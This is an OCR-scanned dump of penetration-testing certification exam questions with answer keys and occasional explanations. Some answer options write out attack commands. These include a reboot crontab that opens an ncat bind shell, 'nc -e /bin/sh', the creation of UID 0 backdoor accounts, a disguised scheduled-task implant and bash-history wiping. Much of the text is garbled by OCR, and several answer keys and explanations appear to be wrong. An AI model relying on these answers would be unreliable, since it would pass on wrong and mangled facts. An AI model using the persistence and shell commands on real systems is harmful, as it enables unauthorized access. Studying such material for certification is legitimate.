8443/tcp open http Microsoft IS httpd 8.5

| http-methods:

|_ Potentially risky methods: TRACE

|_http-server-header: Microsoft-11S/8.5

|_http-title: [IS Windows Server

Which of the following command sequences should the penetration tester try NEXT?

A. ftp 192.168.53.23

B. smbclient WWEB3W\IPC$ -1 192.168.53.23 —U guest

C. ncrack —u Administrator —P 15worst_passwords.txt —p rdp 192.168.53.23
D. curl =X TRACE https://192.168.53.23:8443/index.aspx

E. nmap —script vuln —sV 192.168.53.23

Answer: A

NEW QUESTION 161
A penetration tester is examining a Class C network to identify active systems quickly. Which of the following commands should the penetration tester use?

A. nmap sn 192.168.0.1/16

B. nmap sn 192.168.0.1-254

C. nmap sn 192.168.0.1 192.168.0.1.254
D. nmap sN 192.168.0.0/24

Answer: B

NEW QUESTION 166
Appending string values onto another string is called:

A. compilation
B. connection
C. concatenation
D. conjunction

Answer: C

NEW QUESTION 169
A penetration tester was conducting a penetration test and discovered the network traffic was no longer reaching the client’'s IP address. The tester later
discovered the SOC had used sinkholing on the penetration tester’s IP address. Which of the following BEST describes what happened?

A. The penetration tester was testing the wrong assets

B. The planning process failed to ensure all teams were notified
C. The client was not ready for the assessment to start

D. The penetration tester had incorrect contact information

Answer: B

NEW QUESTION 173
The attacking machine is on the same LAN segment as the target host during an internal penetration test. Which of the following commands will BEST enable the
attacker to conduct host delivery and write the discovery to files without returning results of the attack machine?

A. nmap shn exclude 10.1.1.15 10.1.1.0/24 oA target_txt

B. nmap iR100X out.xml | grep Nmap | cut d "f5 > live-hosts.txt
C. nmap PnsV OIL target.txt A target_text Service

D. nmap sSPn n iL target.txt A target_txtl

Answer: A

Explanation:

According to the Official CompTIA PenTest+ Self-Paced Study Guidel, the correct answer is A. nmap -snh -n

-exclude 10.1.1.15 10.1.1.0/24 -0A target_txt.

This command will perform a ping scan (-sn) without reverse DNS resolution (-n) on the IP range 10.1.1.0/24, excluding the attack machine’s IP address
(10.1.1.15) from the scan (-exclude). It will also output the results in three formats (normal, grepable and XML) with a base name of target_txt (-0A).
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NEW QUESTION 176
A penetration tester, who is doing an assessment, discovers an administrator has been exfiltrating proprietary company information. The administrator offers to pay
the tester to keep quiet. Which of the following is the BEST action for the tester to take?

A. Check the scoping document to determine if exfiltration is within scope.
B. Stop the penetration test.

C. Escalate the issue.

D. Include the discovery and interaction in the daily report.

Answer: B

Explanation:

"Another reason to communicate with the customer is to let the customer know if something unexpected arises while doing the pentest, such as if a critical
vulnerability is found on a system, a new target system is found that is outside the scope of the penetration test targets, or a security breach is discovered when
doing the penetration test. You will need to discuss how to handle such discoveries and who to contact if those events occur. In case of such events, you typically
stop the pentest temporarily to discuss the issue with the customer, then resume once a resolution has been determined."

NEW QUESTION 180
A penetration tester was able to gain access successfully to a Windows workstation on a mobile client’s laptop. Which of the following can be used to ensure the
tester is able to maintain access to the system?

A. schtasks /create /sc /ONSTART /tr C:\Temp\WindowsUpdate.exe

B. wmic startup get caption,command

C. crontab —I; echo “@reboot sleep 200 && ncat —lvp 4242 —e /bin/bash”) | crontab 2>/dev/null
D. sudo useradd —ou 0 —g O user

Answer: A

NEW QUESTION 185
Which of the following are the MOST important items to include in the final report for a penetration test? (Choose two.)

A. The CVSS score of the finding

B. The network location of the vulnerable device
C. The vulnerability identifier

D. The client acceptance form

E. The name of the person who found the flaw
F. The tool used to find the issue

Answer: CF

NEW QUESTION 187
A compliance-based penetration test is primarily concerned with:

A. obtaining PII from the protected network.

B. bypassing protection on edge devices.

C. determining the efficacy of a specific set of security standards.
D. obtaining specific information from the protected network.

Answer: C

NEW QUESTION 192

A penetration tester found the following valid URL while doing a manual assessment of a web application: http://www.example.com/product.php?id=123987.
Which of the following automated tools would be best to use NEXT to try to identify a vulnerability in this URL?

A. SQLmap

B. Nessus

C. Nikto

D. DirBuster

Answer: B

NEW QUESTION 193
A penetration tester wrote the following script to be used in one engagement:
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import socket,sys
ports = [21,22,23,25,80,139,443,445,3306,3389]
1f len(sys.argv) == 2:
target = socket.gethostbyname (sys.argv([1l])
elae:
print (“Too few arguments.”)
print (“Syntax: python {} <>".format(sys.argv[0]))
sys.exit ()
try

for port in ports:

8 = socket.socket (socket.AF INET, socket.SOCEK STRERM)
=.2ettimeout (2)

results = s.connect ex((target,port))

1f result == (:

print (“Port {} is opened”.format (port))

sys.exit ()
Which of the following actions will this script perform?

A. Look for open ports.

B. Listen for a reverse shell.
C. Attempt to flood open ports.
D. Create an encrypted tunnel.

Answer: A

NEW QUESTION 194
A security analyst needs to perform a scan for SMB port 445 over a/16 network. Which of the following commands would be the BEST option when stealth is not a
concern and the task is time sensitive?

A. Nmap -s 445 -Pn -T5 172.21.0.0/16

B. Nmap -p 445 -n -T4 -open 172.21.0.0/16
C. Nmap -sV --script=smb* 172.21.0.0/16
D. Nmap -p 445 -max -sT 172. 21.0.0/16

Answer: C

Explanation:

The best option when stealth is not a concern and the task is time sensitive is to use the command: Nmap -sV

--script=smb* 172.21.0.0/16. This command will use version detection and SMB scripts to scan for port 445 on the given IP range. The -sV option will cause Nmap
to detect the version of services running on the ports, which is helpful for identifying vulnerabilities, and the --script=smb* option will cause Nmap to run all of the
SMB related scripts. The -T4 option can be used to speed up the scan, as it increases the timing probes.

NEW QUESTION 196

A penetration tester has completed an analysis of the various software products produced by the company under assessment. The tester found that over the past
several years the company has been including vulnerable third-party modules in multiple products, even though the quality of the organic code being developed is
very good. Which of the following recommendations should the penetration tester include in the report?

A. Add a dependency checker into the tool chain.

B. Perform routine static and dynamic analysis of committed code.
C. Validate API security settings before deployment.

D. Perform fuzz testing of compiled binaries.

Answer: A

NEW QUESTION 198

A penetration tester wants to find hidden information in documents available on the web at a particular domain. Which of the following should the penetration tester
use?

A. Netcraft

B. CentralOps
C. Responder
D. FOCA

Answer: D
Explanation:

https://kalilinuxtutorials.com/foca-metadata-hidden-documents/

NEW QUESTION 199
A penetration tester wants to test a list of common passwords against the SSH daemon on a network device. Which of the following tools would be BEST to use
for this purpose?
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A. Hashcat

B. Mimikatz

C. Patator

D. John the Ripper

Answer: C
Explanation:

https://www.kali.org/tools/patator/

NEW QUESTION 202
Given the following code:

(1] 1] - LT e W
1 . ¥

Which of the following data structures is systems?

A. A tuple

B. Atree

C. An array

D. A dictionary

Answer: C

NEW QUESTION 205
The results of an Nmap scan are as follows:

Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-24 (01:10 EST
Mmap ascan report for ( 192.16B.1.1 )

i =)

ad

st is up (0.0035s latency).
t shown: 996 filtered ports

Port State Service Version

22/tep open ash CpenSSH £.6.1pl
23/tecp open domain dnsmasg 2.72
B0/ teop open htep lighttpd
443/tcp open ssl/http httpd

Service Info: OS: Linux: Device: router; CPE: cpe:/o:linux:linux kernel

Service detection performed. Flease report any in

ti n
Mmap done: 1 IP address (1 host up) scanned in 18

results at https://nmap.org/submit/.

Which of the following would be the BEST conclusion about this device?

A. This device may be vulnerable to the Heartbleed bug due to the way transactions over TCP/22 handle heartbeat extension packets, allowing attackers to obtain
sensitive information from process memory.

B. This device is most likely a gateway with in-band management services.

C. This device is most likely a proxy server forwarding requests over TCP/443.

D. This device may be vulnerable to remote code execution because of a butter overflow vulnerability in the method used to extract DNS names from packets prior
to DNSSEC validation.

Answer: B

Explanation:
The heart bleed bug is an open ssl bug which does not affect SSH Ref:
https://www.sos-berlin.com/en/news-heartbleed-bug-does-not-affect-jobscheduler-or-ssh

NEW QUESTION 206

A penetration tester who is doing a company-requested assessment would like to send traffic to another system using double tagging. Which of the following
techniques would BEST accomplish this goal?

A. RFID cloning
B. RFID tagging
C. Meta tagging
D. Tag nesting

Answer: D

Explanation:

since vlan hopping requires 2 vlans to be nested in a single packet. Double tagging occurs when an attacker adds and modifies tags on an Ethernet frame to allow
the sending of packets through any VLAN. This attack takes advantage of how many switches process tags. Most switches will only remove the outer tag and
forward the frame to all native VLAN ports. With that said, this exploit is only successful if the attacker belongs to the native VLAN of the trunk link.
https://cybersecurity.att.com/blogs/security-essentials/vlan-hopping-and-mitigation
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NEW QUESTION 208
A penetration tester was able to compromise a web server and move laterally into a Linux web server. The tester now wants to determine the identity of the last
user who signed in to the web server. Which of the following log files will show this activity?

A. lvar/log/messages
B. /var/log/last_user
C. /var/log/user_log
D. /var/log/lastlog

Answer: D

Explanation:

The /var/log/lastlog file is a log file that stores information about the last user to sign in to the server. This file stores information such as the username, IP address,
and timestamp of the last user to sign in to the server. It can be used by a penetration tester to determine the identity of the last user who signed in to the web
server, which can be helpful in identifying the user who may have set up the backdoors and other malicious activities.

NEW QUESTION 211

A penetration tester runs the following command on a system:
find / -user root —perm -4000 —print 2>/dev/null

Which of the following is the tester trying to accomplish?

A. Set the SGID on all files in the / directory

B. Find the /root directory on the system

C. Find files with the SUID bit set

D. Find files that were created during exploitation and move them to /dev/null

Answer: C

Explanation:
the 2>/dev/null is output redirection, it simply sends all the error messages to infinity and beyond preventing any error messages to appear in the terminal session.

NEW QUESTION 213
A tester who is performing a penetration test discovers an older firewall that is known to have serious vulnerabilities to remote attacks but is not part of the original
list of IP addresses for the engagement. Which of the following is the BEST option for the tester to take?

A. Segment the firewall from the cloud.
B. Scan the firewall for vulnerabilities.
C. Notify the client about the firewall.
D. Apply patches to the firewall.

Answer: C

NEW QUESTION 217

An exploit developer is coding a script that submits a very large number of small requests to a web server until the server is compromised. The script must
examine each response received and compare the data to a large number of strings to determine which data to submit next. Which of the following data structures
should the exploit developer use to make the string comparison and determination as efficient as possible?

A. Alist

B. Atree

C. A dictionary
D. An array

Answer: C

Explanation:

data structures are used to store data in an organized form, and some data structures are more efficient and suitable for certain operations than others. For
example, hash tables, skip lists and jump lists are some dictionary data structures that can insert and access elements efficiently3.

For string comparison, there are different algorithms that can measure how similar two strings are, such as Levenshtein distance, Hamming distance or Jaccard
similarity4. Some of these algorithms can be implemented using data structures such as arrays or hashtables5.

NEW QUESTION 222

A penetration tester gains access to a system and establishes persistence, and then runs the following commands:
cat /dev/null > temp

touch —r .bash_history temp mv temp .bash_history

Which of the following actions is the tester MOST likely performing?

A. Redirecting Bash history to /dev/null

B. Making a copy of the user's Bash history for further enumeration
C. Covering tracks by clearing the Bash history

D. Making decoy files on the system to confuse incident responders
Answer: C

NEW QUESTION 227
A penetration tester captured the following traffic during a web-application test:
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Which of the following methods should the tester use to visualize the authorization information being transmitted?

A. Decode the authorization header using UTF-8.
B. Decrypt the authorization header using bcrypt.
C. Decode the authorization header using Base64.
D. Decrypt the authorization header using AES.

Answer: C

NEW QUESTION 229
A penetration tester has gained access to the Chief Executive Officer's (CEQO's) internal, corporate email. The next objective is to gain access to the network.
Which of the following methods will MOST likely work?

A. Try to obtain the private key used for S/IMIME from the CEO's account.
B. Send an email from the CEQO's account, requesting a new account.

C. Move laterally from the mail server to the domain controller.

D. Attempt to escalate privileges on the mail server to gain root access.

Answer: D

NEW QUESTION 230
A security engineer identified a new server on the network and wants to scan the host to determine if it is running an approved version of Linux and a patched
version of Apache. Which of the following commands will accomplish this task?

A. nmap —f —sV —p80 192.168.1.20
B. nmap —sS —sL —p80 192.168.1.20
C. nmap -A -T4 —p80 192.168.1.20
D. nmap —O —v —p80 192.168.1.20

Answer: C

NEW QUESTION 233

A red-team tester has been contracted to emulate the threat posed by a malicious insider on a company’s network, with the constrained objective of gaining
access to sensitive personnel files. During the assessment, the red-team tester identifies an artifact indicating possible prior compromise within the target
environment.

Which of the following actions should the tester take?

A. Perform forensic analysis to isolate the means of compromise and determine attribution.
B. Incorporate the newly identified method of compromise into the red team’s approach.

C. Create a detailed document of findings before continuing with the assessment.

D. Halt the assessment and follow the reporting procedures as outlined in the contract.

Answer: D

NEW QUESTION 238
Which of the following documents is agreed upon by all parties associated with the penetration-testing engagement and defines the scope, contacts, costs,
duration, and deliverables?

A. SOW
B. SLA

C. MSA
D. NDA

Answer: A

NEW QUESTION 241

An Nmap network scan has found five open ports with identified services. Which of the following tools should a penetration tester use NEXT to determine if any
vulnerabilities with associated exploits exist on the open ports?

A. OpenVAS

B. Drozer
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C. Burp Suite
D. OWASP ZAP

Answer: A

Explanation:

OpenVAS is a full-featured vulnerability scanner. OWASP ZAP = Burp Suite

Drozer (Android) = drozer allows you to search for security vulnerabilities in apps and devices by assuming
the role of an app and interacting with the Dalvik VM, other apps' IPC endpoints and the underlying OS.

NEW QUESTION 243
Which of the following BEST explains why a penetration tester cannot scan a server that was previously scanned successfully?

A. The IP address is wrong.

B. The server is unreachable.

C. The IP address is on the blocklist.
D. The IP address is on the allow list.

Answer: C

Explanation:
The most likely explanation for why a penetration tester cannot scan a server that was previously scanned successfully is that the IP address is on the blocklist.
Blocklists are used to prevent malicious actors from scanning servers, and if the IP address of the server is on the blocklist, the scanning process will be blocked.

NEW QUESTION 244
A software company has hired a security consultant to assess the security of the company's software development practices. The consultant opts to begin
reconnaissance by performing fuzzing on a software binary. Which of the following vulnerabilities is the security consultant MOST likely to identify?

A. Weak authentication schemes

B. Credentials stored in strings

C. Buffer overflows

D. Non-optimized resource management

Answer: C

Explanation:
fuzzing introduces unexpected inputs into a system and watches to see if the system has any negative reactions to the inputs that indicate security, performance,
or quality gaps or issues

NEW QUESTION 245

A penetration tester opened a reverse shell on a Linux web server and successfully escalated privileges to root. During the engagement, the tester noticed that
another user logged in frequently as root to perform work tasks. To avoid disrupting this user’s work, which of the following is the BEST option for the penetration
tester to maintain root-level persistence on this server during the test?

A. Add a web shell to the root of the website.

B. Upgrade the reverse shell to a true TTY terminal.

C. Add a new user with ID 0 to the /etc/passwd file.

D. Change the password of the root user and revert after the test.

Answer: C

Explanation:

The best option for the penetration tester to maintain root-level persistence on this server during the test is to add a new user with ID 0 to the /etc/passwd file. This
will allow the penetration tester to use the same user account as the other user, but with root privileges, meaning that it won't disrupt the other user’'s work. This
can be done by adding a new line with the username and the numerical user ID 0 to the /etc/passwd file. For example, if the username for the other user is
“johndoe”, the line to add would be “johndoe:x:0:0:John Doe:/root:/bin/bash”. After the user is added, the penetration tester can use the “su” command to switch

to the new user and gain root privileges.

NEW QUESTION 250
A penetration tester has obtained root access to a Linux-based file server and would like to maintain persistence after reboot. Which of the following techniques
would BEST support this objective?

A. Create a one-shot system service to establish a reverse shell.
B. Obtain /etc/shadow and brute force the root password.

C. Run the nc -e /bin/sh <...> command.

D. Move laterally to create a user account on LDAP

Answer: A

Explanation:
https://hosakacorp.net/p/systemd-user.html

NEW QUESTION 252
When developing a shell script intended for interpretation in Bash, the interpreter /bin/bash should be explicitly specified. Which of the following character
combinations should be used on the first line of the script to accomplish this goal?

A <#
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Answer: E

NEW QUESTION 253
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